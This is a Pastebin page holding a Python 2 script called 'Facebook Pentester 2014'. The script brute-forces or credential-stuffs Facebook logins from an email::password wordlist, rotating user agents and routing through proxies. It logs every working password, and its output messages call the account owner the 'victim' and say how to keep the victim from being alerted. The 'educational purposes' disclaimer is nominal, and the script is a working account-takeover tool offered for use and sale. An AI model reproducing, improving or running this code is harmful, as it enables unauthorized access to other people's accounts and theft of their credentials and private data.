KilledSecurity

Facebook Pentester 2014 By Mr.GLadiatorX207

Oct 22nd, 2014
421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.82 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Facebook Pentester 2014 can crack into Facebook Id's 100% without Interruption By Facebook Firewall !
  3. #This program is for sale & the objectif of this product is only for educational purposes only.
  4. #Changing Description of this Script won't make you the coder ^_^ !
  5. #Don't Crack people facebook account's it's illegal !
  6. #If you want to crack into someone's account, you must have the permission of the user.
  7. #Mauritania Attacker is not responsible.
  8.  
  9. import re
  10. import os
  11. import sys
  12. import random
  13. import warnings
  14. import time
  15. try:
  16.         import mechanize
  17. except ImportError:
  18.         print "[*] Please install mechanize python module first"
  19.         sys.exit(1)
  20. except KeyboardInterrupt:
  21.         print "\n[*] Exiting program...\n"
  22.         sys.exit(1)
  23. try:
  24.         import cookielib
  25. except ImportError:
  26.         print "[*] Please install cookielib python module first"
  27.         sys.exit(1)
  28. except KeyboardInterrupt:
  29.         print "\n[*] Exiting program...\n"
  30.         sys.exit(1)
  31.  
  32. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  33.  
  34. # define variable
  35. __Script__   = "Facebook Pentester 2014 Priv8888!"
  36. __Released__ = "22/10/2014 By Mr.GladiatorX207"
  37. __moi__  = "Facebook Checkpoint Security Bypassed 100%"
  38. verbose         = False
  39. useproxy        = False
  40. usepassproxy    = False
  41. log             = 'ghost.log'
  42. file            = open(log, "a")
  43. success         = 'home_edit_profile'
  44. checkpoint      = 'checkpoint'
  45. oldpass         = 'You entered an old password'
  46. fblogin         = 'https://login.facebook.com/login.php?login_attempt=1'
  47. # some priv8 useragents for Facebook Security !
  48. useragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  49.                 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  50.                 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  51.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  52.                 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  53.                 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  54.                 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  55.                 'Opera/8.00 (Windows NT 5.1; U; en)',
  56.                 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  57.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  58.                 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  59.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  60.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 [email protected])',
  61.                 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  62.                 ]
  63. facebook        = '''
  64.  
  65. #Facebook Pentester 2014 Priv8.
  66. #Coded By Mauritania Attacker Modifed By Mr.GladiatorX207
  67. #Features: Verbose Method + Intrusion.
  68. #Details: Pentest Facebook Accounts + Anonymous Fast Proxy Undetectable.
  69.  
  70. Script : %s
  71. New Security Bypass : %s
  72. Released    : %s''' % (__Script__, __moi__, __Released__)
  73. option          = '''
  74. Usage  : %s -w pentest.txt
  75. Option : -w, --wordlist         <filename>      |   Wordlist used for Cracking
  76.         -v, --verbose                          |   Set %s will be verbose
  77.         -p, --proxy            <host:port>     |   Set http proxy will be use
  78.         -k, --usernameproxy    <username>      |   Set username at proxy will be use
  79.         -i, --passproxy        <password>      |   Set password at proxy will be use
  80.         -l, --log              <filename>      |   Specify output filename (default : ghost.log)
  81.         -h, --help             <help>          |   Print this help
  82.  
  83. Example : %s -w pentest.txt"
  84.  
  85. P.S : add "&" to run in the background
  86. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  87. hme             = '''
  88. Usage : %s -w pentest.txt
  89.        -h or --help for get help
  90.        ''' % sys.argv[0]
  91.  
  92. def helpme():
  93.         print facebook
  94.         print option
  95.         file.write(facebook)
  96.         file.write(option)
  97.         sys.exit(1)
  98.  
  99. def helpmee():
  100.         print facebook
  101.         print hme
  102.         file.write(facebook)
  103.         file.write(hme)
  104.         sys.exit(1)
  105.  
  106. for arg in sys.argv:
  107.         try:
  108.                 if arg.lower() == '-u' or arg.lower() == '--user':
  109.                         username = sys.argv[int(sys.argv[1:].index(arg))+2]
  110.                 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  111.                         wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  112.                 elif arg.lower() == '-l' or arg.lower() == '--log':
  113.                         log = sys.argv[int(sys.argv[1:].index(arg))+2]
  114.                 elif arg.lower() == '-p' or arg.lower() == '--proxy':
  115.                         useproxy = True
  116.                         proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  117.                 elif arg.lower() == '-k' or arg.lower() == '--userproxy':
  118.                         usepassproxy = True
  119.                         usw = sys.argv[int(sys.argv[1:].index(arg))+2]
  120.                 elif arg.lower() == '-i' or arg.lower() == '--passproxy':
  121.                         usepassproxy = True
  122.                         usp = sys.argv[int(sys.argv[1:].index(arg))+2]
  123.                 elif arg.lower() == '-v' or arg.lower() == '--verbose':
  124.                         verbose = True
  125.                 elif arg.lower() == '-h' or arg.lower() == '--help':
  126.                         helpme()
  127.                 elif len(sys.argv) <= 1:
  128.                         helpmee()
  129.         except IOError:
  130.                 helpme()
  131.         except NameError:
  132.                 helpme()
  133.         except IndexError:
  134.                 helpme()
  135.  
  136. def bruteforce(word):
  137.         try:
  138.                 pos = word.find("::")
  139.                 userEmail = word[0:pos]
  140.                 word = word[pos+len("::"):len(word)]
  141.                
  142.                 print("userEmail: " + userEmail )
  143.                 print("password: " + word )
  144.                 file.write("[*] Trying " + userEmail + "::" + word + "\n" )
  145.                 sys.stdout.flush()
  146.                 rch = random.choice(useragent)
  147.                 br.addheaders = [('User-agent', rch)]
  148.                 # print("User Agent: " + rch )
  149.                 opensite = br.open(fblogin)
  150.  
  151.                 # To show and print all forms name
  152.                 # for form in br.forms():
  153.                 #      print "Form name:", form.name
  154.                 #      print form
  155.  
  156.                 # To show all control elements in the form
  157.                 # br.form = list(br.forms())[0]
  158.                 # for control in br.form.controls:
  159.                 #      print control
  160.                 #      print "type=%s, name=%s value=%s" % (control.type, control.name, br[control.name])
  161.  
  162.                 # To dump cookies data being sent and received
  163.                 # dump();
  164.  
  165.                 # Release email account from autotext fill
  166.                 # If email still auto-filled on login form, this script would not work as expected, so we need to release it
  167.  
  168.                 NotMe = "notme_cuid"
  169.                 for link in br.links():
  170.                         if (NotMe in link.url):
  171.                                 request = br.click_link(link)
  172.                                 response = br.follow_link(link)
  173.                                 # print response.geturl()
  174.  
  175.                 br.select_form(nr=0)
  176.  
  177.                 br.form = list(br.forms())[0]
  178.                 br.form['email'] = userEmail
  179.                 br.form['pass'] = word
  180.                 br.submit()
  181.                 response = br.response().read()
  182.  
  183.                 if verbose:
  184.                         print response
  185.                 if success in response:
  186.                         print "\n\n[*] You just Logged in successfully inside your victim Account Nygga xd...but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/"
  187.                         print "[*] userEmail : %s" % (userEmail)
  188.                         print "[*] Password : %s\n" % (word)
  189.                         file.write("\n[*] You just Logged in successfully inside your victim Account Nygga xd...but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/")
  190.                         file.write("\n[*] userEmail : %s" % (userEmail))
  191.                         file.write("\n[*] Password : %s\n\n" % (word))
  192.  
  193.                         # After the successful login, force to Logout (to clear the cookies & the session - Very important!)
  194.                         for form in br.forms():
  195.                                 if form.attrs['id'] == 'logout_form':
  196.                                         br.form = form
  197.                                         br.submit()
  198.                 elif checkpoint in response:
  199.                         print "\n\n[*] You just Logged in successfully inside your victim Account Nygga xd...but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/"
  200.                         print "[*] userEmail : %s" % (userEmail)
  201.                         print "[*] Password : %s\n" % (word)
  202.                         file.write("\n[*] You just Logged in successfully inside your victim Account Nygga xd...but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/")
  203.                         file.write("\n[*] userEmail : %s" % (userEmail))
  204.                         file.write("\n[*] Password : %s\n\n" % (word))
  205.  
  206.                         # In checkpoint, this account maybe has been logged in, so we need to Log it Out after the successful login
  207.                         LogOut = "logout.php"
  208.                         for link in br.links():
  209.                                 if (LogOut in link.url):
  210.                                         request = br.click_link(link)
  211.                                         response = br.follow_link(link)
  212.                                         # print response.geturl()
  213.                                         # print "This account has been logged out"
  214.                                 # else:
  215.                                 #        print "Can not click Log Out link"
  216.                        
  217.         except KeyboardInterrupt:
  218.                 print "\n[*] Exiting program...\n"
  219.                 sys.exit(1)
  220.         except mechanize._mechanize.FormNotFoundError:
  221.                 print "\n[*] Form Not Found\n"
  222.                 file.write("\n[*] Form Not Found\n")
  223.                 sys.exit(1)
  224.         except mechanize._form.ControlNotFoundError:
  225.                 print "\n[*] Control Not Found\n"
  226.                 file.write("\n[*] Control Not Found\n")
  227.                 sys.exit(1)
  228.  
  229. # Priv8 Function to Dump Cookies Data
  230. # def dump():
  231. #       for cookie in cj:
  232. #               print cookie.name, cookie.value
  233.  
  234. def releaser():
  235.         global word
  236.         for word in words:
  237.                 bruteforce(word.replace("\n",""))
  238.  
  239. def main():
  240.         global br
  241.         global words
  242.         # Priv8 Function to enable dump()
  243.         # global cj
  244.         try:
  245.                 br = mechanize.Browser()
  246.                 cj = cookielib.LWPCookieJar()
  247.                 br.set_cookiejar(cj)
  248.                 br.set_handle_equiv(True)
  249.                 br.set_handle_gzip(True)
  250.                 br.set_handle_redirect(True)
  251.                 br.set_handle_referer(True)
  252.                 br.set_handle_robots(False)
  253.                 br.set_debug_http(False)
  254.                 br.set_debug_redirects(False)
  255.                 br.set_debug_redirects(False)
  256.                 br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  257.                 if useproxy:
  258.                         br.set_proxies({"http": proxy})
  259.                 if usepassproxy:
  260.                         br.add_proxy_password(usw, usp)
  261.                 if verbose:
  262.                         br.set_debug_http(True)
  263.                         br.set_debug_redirects(True)
  264.                         br.set_debug_redirects(True)
  265.         except KeyboardInterrupt:
  266.                 print "\n[*] Exiting program...\n"
  267.                 file.write("\n[*] Exiting program...\n")
  268.                 sys.exit(1)
  269.         try:
  270.                 preventstrokes = open(wordlist, "r")
  271.                 words          = preventstrokes.readlines()
  272.                 count          = 0
  273.                 while count < len(words):
  274.                         words[count] = words[count].strip()
  275.                         count += 1
  276.         except IOError:
  277.                 print "\n[*] Error: Check your config path\n"
  278.                 file.write("\n[*] Error: Check your config path\n")
  279.                 sys.exit(1)
  280.         except NameError:
  281.                 helpme()
  282.         except KeyboardInterrupt:
  283.                 print "\n[*] Exiting program...\n"
  284.                 file.write("\n[*] Exiting program...\n")
  285.                 sys.exit(1)
  286.         try:
  287.                 print facebook
  288.                 print "\n[*] Starting Cracking at %s" % time.strftime("%X")
  289.                 #print "[*] Account To Crack %s" % (username)
  290.                 print "[*] Loaded :",len(words),"words"
  291.                 print "[*] Cracking, please wait..."
  292.                 file.write(facebook)
  293.                 file.write("\n[*] Starting Cracking at %s" % time.strftime("%X"))
  294.                 #file.write("\n[*] Account To Crack %s" % (username))
  295.                 file.write("\n[*] Loaded : %d words" % int(len(words)))
  296.                 file.write("\n[*] Cracking, please wait...\n")
  297.         except KeyboardInterrupt:
  298.                 print "\n[*] Script Closed...\n"
  299.                 sys.exit(1)
  300.         try:
  301.                 releaser()
  302.                 bruteforce(word)
  303.         except NameError:
  304.                 helpme()
  305.  
  306. if __name__ == '__main__':
  307.         main()
Advertisement
Add Comment
Please, Sign In to add comment